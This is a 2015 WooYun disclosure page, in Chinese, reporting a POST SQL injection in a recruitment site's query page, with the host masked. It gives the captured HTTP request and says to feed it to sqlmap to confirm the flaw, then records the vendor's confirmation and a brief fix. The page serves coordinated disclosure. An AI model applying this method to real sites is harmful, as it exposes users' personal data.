当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144379

漏洞标题:某人才网存在sql注入大量用户信息泄露

相关厂商:cncert国家互联网应急中心

漏洞作者: jamesj

提交时间:2015-10-07 22:50

修复时间:2015-11-26 16:42

公开时间:2015-11-26 16:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-07: 细节已通知厂商并且等待厂商处理中
2015-10-12: 厂商已经确认,细节仅向厂商公开
2015-10-22: 细节向核心白帽子及相关领域专家公开
2015-11-01: 细节向普通白帽子公开
2015-11-11: 细节向实习白帽子公开
2015-11-26: 细节向公众公开

简要描述:

详细说明:

某人才网站存在post注入漏洞
http://**.**.**.**/bys/dacx.aspx
这个url存在post注入

POST /bys/dacx.aspx HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/bys/dacx.aspx
Cookie: CNZZDATA257989=cnzz_eid%3D1002435642-1443664989-%26ntime%3D1443664989; Hm_lvt_c28f8ffa76ed60cdd18a229a05594f04=1443667342; Hm_lpvt_c28f8ffa76ed60cdd18a229a05594f04=1443667342
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 398
__VIEWSTATE=%2FwEPDwUKLTUxNDE3ODM4OQ9kFgJmD2QWAgIHD2QWAgIBD2QWAgICD2QWAgIBDzwrABEBARAWABYAFgBkGAEFIGN0bDAwJENvbnRlbnRQbGFjZUhvbGRlcjEkZ3ZCaWFvD2dk%2BQegMLD9zTWwcSsu5UvSlsu1WZ82mxGkmO1G%2BuhshpQ%3D&__EVENTVALIDATION=%2FwEWAwLPx%2Fe%2FDAKIpPqvBgKHjILLAWWW9urjdL98sj0%2BNGpoNykbIBrUT3bYERyVSxxNuFUo&ctl00%24ContentPlaceHolder1%24tbXingming=hua&ctl00%24ContentPlaceHolder1%24buChaxun=%E6%9F%A5%E8%AF%A2


上述为post请求
保存成txt丢入sqlmap -r txt文件
发现存在sql注入

漏洞证明:

POST /bys/dacx.aspx HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/bys/dacx.aspx
Cookie: CNZZDATA257989=cnzz_eid%3D1002435642-1443664989-%26ntime%3D1443664989; Hm_lvt_c28f8ffa76ed60cdd18a229a05594f04=1443667342; Hm_lpvt_c28f8ffa76ed60cdd18a229a05594f04=1443667342
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 398
__VIEWSTATE=%2FwEPDwUKLTUxNDE3ODM4OQ9kFgJmD2QWAgIHD2QWAgIBD2QWAgICD2QWAgIBDzwrABEBARAWABYAFgBkGAEFIGN0bDAwJENvbnRlbnRQbGFjZUhvbGRlcjEkZ3ZCaWFvD2dk%2BQegMLD9zTWwcSsu5UvSlsu1WZ82mxGkmO1G%2BuhshpQ%3D&__EVENTVALIDATION=%2FwEWAwLPx%2Fe%2FDAKIpPqvBgKHjILLAWWW9urjdL98sj0%2BNGpoNykbIBrUT3bYERyVSxxNuFUo&ctl00%24ContentPlaceHolder1%24tbXingming=hua&ctl00%24ContentPlaceHolder1%24buChaxun=%E6%9F%A5%E8%AF%A2


QQ截图20151001120425.png

捕获.PNG

捕获5.PNG

捕获3.PNG

捕获6.PNG

修复方案:

过滤用户输入,post请求也要过滤

版权声明:转载请注明来源 jamesj@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-10-12 16:40

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给浙江分中心,由浙江分中心后续协调网站管理单位处置。

最新状态:

暂无